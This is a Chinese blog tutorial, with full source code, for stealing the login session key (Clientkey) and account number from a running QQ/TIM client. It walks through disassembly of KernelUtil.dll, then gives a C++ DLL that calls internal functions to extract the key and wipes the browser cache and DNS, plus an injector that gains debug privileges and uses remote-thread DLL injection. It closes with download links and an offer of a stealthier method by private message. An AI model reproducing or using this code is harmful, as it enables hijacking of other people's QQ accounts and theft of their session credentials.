通过KernelUtil.dll 劫持QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)

分类:编程技术 时间:2024-02-20 19:42 浏览:0 评论:0
0

文章通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

前言

由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。

Step 1 (第一步)

KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本

此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下

并于客户端成功登录后加载。

Step 2 (第二步)

IDA 附加

定位到 KernelUtil.dll 中的函数

“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”

CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2){  int v2; // eax  int v4; // [esp-14h] [ebp-14h]  int v5; // [esp-10h] [ebp-10h]  int v6; // [esp-Ch] [ebp-Ch]  int v7; // [esp-8h] [ebp-8h]    CTXStringW::CTXStringW(a1);  v5 = 0;  sub_55404A73(&v5);  if ( v5 )  {    v6 = 0;    if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )    {      v7 = 0;      sub_5536126A(&v7, v6);      v2 = Util::Encode::Encode16(&v4, &v7);      CTXStringW::operator=(a1, v2);      CTXStringW::~CTXStringW((CTXStringW *)&v4);      if ( v7 )        (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);    }    sub_5540C87C(&v6);  }  sub_5540C87C(&v5);  return a1;}

参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。

.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void).text:55416CFC                 public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near.text:55416CFC                 ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p.text:55416CFC                 ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ....text:55416CFC                 push    ebp.text:55416CFD                 mov     ebp, esp.text:55416CFF                 push    offset aBuf32bytevalue ; "buf32ByteValueAddedSignature".text:55416D04                 push    dword ptr [ebp+8].text:55416D07                 call    ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *).text:55416D0C                 mov     eax, [ebp+8].text:55416D0F                 pop     ecx.text:55416D10                 pop     ecx.text:55416D11                 pop     ebp.text:55416D12                 retn.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1){  Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");  return a1;}

Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。

int __fastcall Util::Contact::GetSelfUin(int a1){  int result; // eax  int v2; // esi  int v3; // [esp-8h] [ebp-8h]    v3 = a1;  result = dword_554F12AC;  if ( !dword_554F12AC )  {    v3 &= dword_554F12AC;    sub_55404A73(&v3);    if ( v3 )      (*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);    v2 = dword_554F12AC;    sub_5540C87C(&v3);    result = v2;  }  return result;}

GetSelfUin 获取当前登录客户端 Uin。

.text:55405EA9                 public ?GetSelfUin@Contact@Util@@YAKXZ.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near.text:55405EA9                 ; CODE XREF: .text:5535A2FE↑p.text:55405EA9                 ; .text:5535A921↑p ....text:55405EA9                 push    ebp.text:55405EAA                 mov     ebp, esp.text:55405EAC                 push    ecx.text:55405EAD                 mov     eax, dword_554F12AC.text:55405EB2                 test    eax, eax.text:55405EB4                 jnz     short loc_55405EE7.text:55405EB6                 and     [ebp-4], eax.text:55405EB9                 lea     eax, [ebp-4].text:55405EBC                 push    eax.text:55405EBD                 call    sub_55404A73.text:55405EC2                 mov     eax, [ebp-4].text:55405EC5                 pop     ecx.text:55405EC6                 test    eax, eax.text:55405EC8                 jz      short loc_55405ED5.text:55405ECA                 mov     ecx, [eax].text:55405ECC                 push    offset dword_554F12AC.text:55405ED1                 push    eax.text:55405ED2                 call    dword ptr [ecx+30h].text:55405ED5.text:55405ED5 loc_55405ED5:   ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j.text:55405ED5                 push    esi.text:55405ED6                 mov     esi, dword_554F12AC.text:55405EDC                 lea     ecx, [ebp-4].text:55405EDF                 call    sub_5540C87C.text:55405EE4                 mov     eax, esi.text:55405EE6                 pop     esi.text:55405EE7.text:55405EE7 loc_55405EE7:   ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j.text:55405EE7                 mov     esp, ebp.text:55405EE9                 pop     ebp.text:55405EEA                 retn.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp

Step 3 (第三步)

我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。

ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");if (fnGetSelfUin == NULL){OutputDebugStringA("Get GetSelfUin Function failed \n");return FALSE;}     // 获取 UINULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();if (currentQQ == NULL){OutputDebugStringA("Invoke GetSelfUin Function failed \n");return FALSE;} PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");if (GetSignature == NULL){OutputDebugStringA("Get GetSignature Function failed \n");return FALSE;}    // 获取 ClientkeyPVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");if (res == NULL){OutputDebugStringA("Invoke GetSignature Function failed \n");return FALSE;}

实现代码

DLL

点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"   using namespace std; char szUin[MAX_PATH] = { 0 };char szClientkey[MAX_PATH] = { 0 };   BOOL DelTempFiles(); BOOL GetQQClientKeys(); static DWORD WINAPI MainProcess(LPVOID pParam);  // 清理缓存 BOOL DelTempFiles(){// 清理 DNS 缓存ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE); BOOL bResult = FALSE;BOOL bDone = FALSE; LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL; DWORD  dwTrySize, dwEntrySize = 4096; // start buffer sizeHANDLE hCacheDir = NULL;DWORD  dwError = ERROR_INSUFFICIENT_BUFFER; do{switch (dwError){// need a bigger buffercase ERROR_INSUFFICIENT_BUFFER:delete[] lpCacheEntry;lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];lpCacheEntry->dwStructSize = dwEntrySize;dwTrySize = dwEntrySize;BOOL bSuccess;if (hCacheDir == NULL)bSuccess = (hCacheDir= FindFirstUrlCacheEntry(NULL, lpCacheEntry,&dwTrySize)) != NULL;elsebSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize); if (bSuccess)dwError = ERROR_SUCCESS;else{dwError = GetLastError();dwEntrySize = dwTrySize; // use new size returned}break; // we are donecase ERROR_NO_MORE_ITEMS:bDone = TRUE;bResult = TRUE;break; // we have got an entrycase ERROR_SUCCESS:// don't delete cookie entryif (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); // get ready for next entrydwTrySize = dwEntrySize;if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))dwError = ERROR_SUCCESS;else{dwError = GetLastError();dwEntrySize = dwTrySize; // use new size returned}break; // unknown errordefault:bDone = TRUE;break;} if (bDone){delete[]lpCacheEntry;if (hCacheDir)FindCloseUrlCache(hCacheDir);}} while (!bDone); return TRUE;}   BOOL GetQQClientKeys(){// 清理缓存与DNSDelTempFiles(); ZeroMemory(szUin, MAX_PATH);ZeroMemory(szClientkey, MAX_PATH); HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");if (hKernelUtil == NULL){OutputDebugStringA("Get KernelUtil Module failed \n");return FALSE;} ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");if (fnGetSelfUin == NULL){OutputDebugStringA("Get GetSelfUin Function failed \n");return FALSE;} ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();if (currentQQ == NULL){OutputDebugStringA("Invoke GetSelfUin Function failed \n");return FALSE;} sprintf(szUin, "%u", currentQQ); PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");if (GetSignature == NULL){OutputDebugStringA("Get GetSignature Function failed \n");return FALSE;}PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");if (res == NULL){OutputDebugStringA("Invoke GetSignature Function failed \n");return FALSE;} sprintf(szClientkey, "%ws", ClientKey); return TRUE;}   BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved ){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:HANDLE hThread1;hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}  // 主线程模块 static DWORD WINAPI MainProcess(LPVOID pParam){if (GetQQClientKeys()){MessageBox(NULL, "获取数据成功。", "注意", NULL);    }return 0;}

主程序

点击查看代码
// Main.cpp : 定义控制台应用程序的入口点。// #include "stdafx.h" #ifdef _DEBUG#define new DEBUG_NEW#endif   BOOL AdjustPrivileges(); BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);    // 唯一的应用程序对象 CWinApp theApp; using namespace std;   BOOL AdjustPrivileges(){HANDLE hToken = NULL;TOKEN_PRIVILEGES tp = { 0 };TOKEN_PRIVILEGES oldtp = { 0 };DWORD dwSize = sizeof(TOKEN_PRIVILEGES);LUID luid = { 0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {return FALSE;} if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {CloseHandle(hToken);return FALSE;} tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /* Adjust Token Privileges */if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {CloseHandle(hToken);return FALSE;} // close handlesCloseHandle(hToken);return TRUE;}   BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID){if (AdjustPrivileges()){HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);if (hOprocess != NULL){_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);if (pLibFileRemote != NULL){if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))return FALSE; //Get LoadLibraryW AddressPTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");if (pfnStartAddr != NULL){HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);if (hRemote != NULL){CloseHandle(hRemote);CloseHandle(hOprocess); return TRUE;}}}}CloseHandle(hOprocess);}return FALSE;}   int main(){if (!injectDLL(“D:\\QQKey.dll”, 8888)){cout << "injectDLL To Target EXE Failed。\r\n" << endl;}system("pause");     return 0;}

效果演示

结语

利用此种方法可以很方便的截取到 Uin 跟 Clientkey。

但是缺点也是相形见绌的,如下图:

:(

要出现这个画面提示就不是很友好了,并且大部分安全软件都会提示并拦截,其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此,那么该方法就显得一无是处。

还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey,并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明,怕又被和谐,有兴趣的可以私信我。

完整项目下载

【蓝奏云下载】 (提取码:eh9v)

【百度云下载】 (提取码:wqau)

官方网站

【www.CHWM.vip】



1. 本站所有资源来源于用户上传或网络,仅作为参考研究使用,如有侵权请邮件联系站长!
2. 本站积分货币获取途径以及用途的解读,想在本站混的好,请务必认真阅读!
3. 本站强烈打击盗版/破解等有损他人权益和违法作为,请各位会员支持正版!
4. 编程技术 > 通过KernelUtil.dll 劫持QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)

用户评论